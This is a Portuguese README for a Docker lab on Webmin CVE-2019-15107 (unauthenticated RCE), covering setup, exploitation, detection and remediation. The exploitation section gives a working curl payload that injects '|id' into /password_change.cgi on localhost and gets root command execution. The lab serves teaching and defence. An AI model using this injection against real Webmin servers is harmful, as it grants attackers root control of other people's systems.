
Laboratório baseado em Docker que demonstra o CVE-2019-15107, o RCE não autenticado do Webmin, abrangendo implantação, exploração, detecção e remediação.
Este projeto demonstra a CVE-2019-15107, uma vulnerabilidade crítica de Execução Remota de Código (RCE) no Webmin, dentro de um ambiente Docker controlado e isolado. O laboratório cobre o ciclo de vida completo da vulnerabilidade, desde a implantação e exploração até a detecção e remediação.
1.Docker Desktop (instalado e em execução)
2.Docker Compose
3.Terminal / PowerShell com suporte a curl.exe
1.SO (Ambiente do host local)
2.Disponibilidade de Porta: A porta 10000 deve estar livre na máquina host.
1.Aplicação: Webmin
2.Versão Vulnerável: 1.910 (Versões afetadas: 1.880 a 1.920)
3.Versão Corrigida/Patcheada: 1.930 e superiores
4.Tipo de Vulnerabilidade: Neutralização Imprópria de Elementos Especiais usados em um Comando do SO (CWE-78)
5.Pontuação CVSS: 9.8 (Crítica)
1.Clone ou baixe este repositório do projeto para sua máquina local.
2.Abra seu terminal e navegue até o diretório do projeto que contém o docker-compose.yml.
3.Certifique-se de que o Docker Desktop esteja ativo no seu sistema.
Execute o seguinte comando a partir do diretório raiz do projeto para baixar e iniciar o contêiner vulnerável em modo detached: docker-compose up -d
Você pode verificar o status do contêiner executando: docker compose ps
Acesse a interface da aplicação no seu navegador em: https://localhost:10000 (aceite o aviso de certificado SSL local).
Para parar e remover o ambiente do contêiner em execução, execute: docker-compose down
A vulnerabilidade existe no endpoint de alteração de senha não autenticado (/password_change.cgi), onde os parâmetros de entrada são passados diretamente para o shell do sistema sem a devida sanitização.
Execute o seguinte comando no seu terminal (PowerShell/Bash) para executar um comando de diagnóstico (id) como prova de conceito:
curl.exe -k https://localhost:10000/password_change.cgi -e "https://localhost:10000" -d "user=root&pam=&old=test|id&new1=test&new2=test"
Exploração Bem-Sucedida: O servidor processa o caractere de pipe injetado (|), disparando a execução de comando não autenticado com privilégios de root. O terminal exibirá evidências da resposta HTML juntamente com o feedback do shell do contêiner (uid=0(root)), confirmando a execução remota de código bem-sucedida.
1.Identificação de Versão: Inspecionar a versão da instância do Webmin em execução para verificar se ela está dentro do intervalo vulnerável (1.880 a 1.920).
2.Monitoramento de Rede / Logs: Inspecionar os logs de acesso do servidor web ou do WAF em busca de requisições HTTP POST recebidas direcionadas a /password_change.cgi contendo caracteres de controle de shell suspeitos (como | ou ;) dentro dos valores dos parâmetros.
1.Atualização: Atualize o Webmin para a versão 1.930 ou superior, que sanitiza adequadamente as entradas passadas para os módulos subjacentes.
2.Controle de Acesso: Restrinja o acesso de rede à porta 10000 usando firewalls ou túneis VPN para evitar exposição direta a redes não confiáveis.
1.Daemon do Docker Não Está em Execução: Se você encontrar erros de conexão, certifique-se de que o Docker Desktop esteja totalmente iniciado e verifique usando docker version.
2.Conflito de Porta (10000 já em uso): Certifique-se de que nenhuma outra aplicação ou serviço local esteja ocupando a porta 10000.
3.Erro de Sintaxe do curl no PowerShell: Use curl.exe em vez do curl padrão no Windows PowerShell para evitar problemas de mapeamento de parâmetros com o alias Invoke-WebRequest integrado do PowerShell.